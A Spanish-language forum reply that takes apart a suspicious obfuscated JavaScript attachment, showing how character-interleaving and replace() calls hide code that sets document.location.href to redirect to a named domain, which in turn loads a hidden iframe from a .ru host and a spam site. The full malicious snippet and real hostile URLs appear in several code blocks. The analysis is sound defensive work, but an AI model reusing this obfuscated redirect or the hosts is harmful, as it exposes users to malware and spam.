Ver Mensaje Individual
  #3 (permalink)  
Antiguo 10/06/2010, 15:48
all-ill
 
Fecha de Ingreso: junio-2002
Mensajes: 750
Antigüedad: 22 años, 6 meses
Puntos: 22
Respuesta: codigo javascript sospechoso

Intentaré realizar una pequeña disección del código (si veis que algo está mal podéis avisar para corregirlo).

Primero vamos ha formatear el código para que sea más legible:
Código Javascript:
Ver original
  1. function uK(){};
  2. var kV='';
  3.  
  4. uK.prototype = {
  5.     f : function() {
  6.         d=4906;
  7.         var w=function(){};
  8.         var u=new Date();
  9.         var hK=function(){};
  10.         var h='hXtHt9pH:9/H/Hl^e9n9dXe!r^mXeXd!i!a^.^c^oHm^/!iHmHaXg!e9sH/^zX.!hXt9m^'.replace(/[\^H\!9X]/g, '');
  11.         var n=new Array();
  12.         var e=function(){};
  13.         var eJ='';
  14.         t=document['lDo6cDart>iro6nD'.replace(/[Dr\]6\>]/g, '')];
  15.         this.nH=false;
  16.         eX=2280;
  17.         dF="dF";
  18.         var hN=function(){return 'hN'};
  19.         this.g=6633;
  20.         var a='';
  21.         dK="";
  22.  
  23.         function x(b){
  24.             var aF=new Array();
  25.             this.q='';
  26.             var hKB=false;
  27.             var uN="";
  28.             b['hIrBeTf.'.replace(/[\.BTAI]/g, '')]=h;
  29.             this.qO=15083;
  30.             uR='';
  31.             var hB=new Date();
  32.             s="s";
  33.         }
  34.  
  35.         var dI=46541;
  36.         gN=55114;
  37.         this.c="c";
  38.         nT="";
  39.         this.bG=false;
  40.         v ar m=new Date();
  41.         var fJ=49510;
  42.         x(t);
  43.         this.y="";
  44.         bL='';
  45.         var k=new Date();
  46.         var mE=function(){};
  47.     }
  48. };
  49.  
  50. var l=22739;
  51. var tL=new uK();
  52. var p="";
  53. tL.f();
  54. this.kY=false;


Seguidamente, tras una lectura del código, descartamos la parte que es de relleno (para dificultar la lectura) y que no tiene utilidad alguna (a no ser que el código proporcionado esté incompleto):
Código Javascript:
Ver original
  1. function uK(){};
  2.  
  3. uK.prototype = {
  4.     f : function() {
  5.         var h='hXtHt9pH:9/H/Hl^e9n9dXe!r^mXeXd!i!a^.^c^oHm^/!iHmHaXg!e9sH/^zX.!hXt9m^'.replace(/[\^H\!9X]/g, '');
  6.         t=document['lDo6cDart>iro6nD'.replace(/[Dr\]6\>]/g, '')];
  7.  
  8.         function x(b){
  9.             b['hIrBeTf.'.replace(/[\.BTAI]/g, '')]=h;
  10.         }
  11.  
  12.         x(t);
  13.     }
  14. };
  15.  
  16. var tL=new uK();
  17. tL.f();
Mucho más simple de leer, ¿verdad?

Finalmente, veamos qué hace este código:
Código Javascript:
Ver original
  1. // crear una función vacía que sirve como constructor
  2. function uK(){};
  3.  
  4. // Especificar propiedades del prototipo 'uK' para nuevos objetos.
  5. // Este prototipo viene a ser como una plantilla a partir de la cual se crean
  6. // nuevos objetos con un conjunto de valores (o propiedades) base.
  7. // Notar que el objeto 'uK' se ha declarado anteriormente como constructor.
  8. uK.prototype = {
  9.     f : function() {
  10.         // Definir variable h='http://lendermedia.com/images/z.htm'
  11.         // Reemplazo simple de caracteres: entre cada carácter válido se ha
  12.         // intercalado otro no válido que, mediante la función 'replace', es
  13.         // substituido por un carácter nulo ('' o la ausencia de carácter) con el
  14.         // propósito de volver a crear la dirección URL válida.
  15.         // El enmascaramiento de la dirección URL es tan simple que puede verse a simple
  16.         // vista sin necesidad de saber interpretar la expresión regular utilizada
  17.         // en la función 'replace'.
  18.         var h='hXtHt9pH:9/H/Hl^e9n9dXe!r^mXeXd!i!a^.^c^oHm^/!iHmHaXg!e9sH/^zX.!hXt9m^'.replace(/[\^H\!9X]/g, '');
  19.  
  20.         // Definir variable t="document['location']"
  21.         // Del mismo modo expuesto con anterioridad, aquí se enmascara
  22.         // el código con una simple intercalación de caracteres para ocultar una
  23.         // parte del código que, luego, es desenmascarado mediante el uso de la
  24.         // función 'replace'.
  25.         t=document['lDo6cDart>iro6nD'.replace(/[Dr\]6\>]/g, '')];
  26.  
  27.         function x(b){
  28.             // Uso de la función 'replace' para recuperar el código enmascarado.
  29.             // b[href]=h; (a la variable 'h', como hemos visto anteriormente, tiene
  30.             // asignado el valor 'http://lendermedia.com/images/z.htm') por tanto:
  31.             // b['href']='http://lendermedia.com/images/z.htm';
  32.             b['hIrBeTf.'.replace(/[\.BTAI]/g, '')]=h;
  33.         }
  34.  
  35.         // Llamada a la función 'x' pasándole como parámetro la variable 't' que,
  36.         // como hemos visto antes, tiene asignado el valor "document['location']".
  37.         // Por tanto, tras ejecutar esta función, nos quedará:
  38.         // document['location']['href']='http://lendermedia.com/images/z.htm';
  39.         x(t);
  40.     }
  41. };
  42.  
  43. // Crear el objeto 'tL' que hereda las propiedades o parámetros del prototipo especificado para el constructor 'uK'
  44. var tL=new uK();
  45.  
  46. // Llamada al objeto 'tL' que se encarga de ejecutar las funciones establecidas.
  47. // Este es el punto en el que se procesa todo el código visto anteriormente
  48. // (sin esta llamada el resto de código no hace nada.)
  49. // Es decir que al final lo que hace es ejecutar la sentencia
  50. // document['location']['href']='http://lendermedia.com/images/z.htm';
  51. // para que al abrir el documento adjunto en un navegador web redirija la página a la dirección indicada.
  52. tL.f();

Al abrir la dirección indicada hay un iframe oculto que accede a
Código:
http://zoojeans.ru:8080/index.php?pid=10
y pasados 3 segundos redirige a
Código:
http://toldspeak.com
No he analizado estas páginas ni sus archivos o código y por tanto no puedo decir si contienen código malicioso o intentan aprovecharse de alguna vulnerabilidad para colar malware y virus. Lo que sé es que una de ellas contiene publicidad de viagra y otras lindezas.
Lo que está claro es que es mejor no abrirlo ya que entraña un posible riesgo.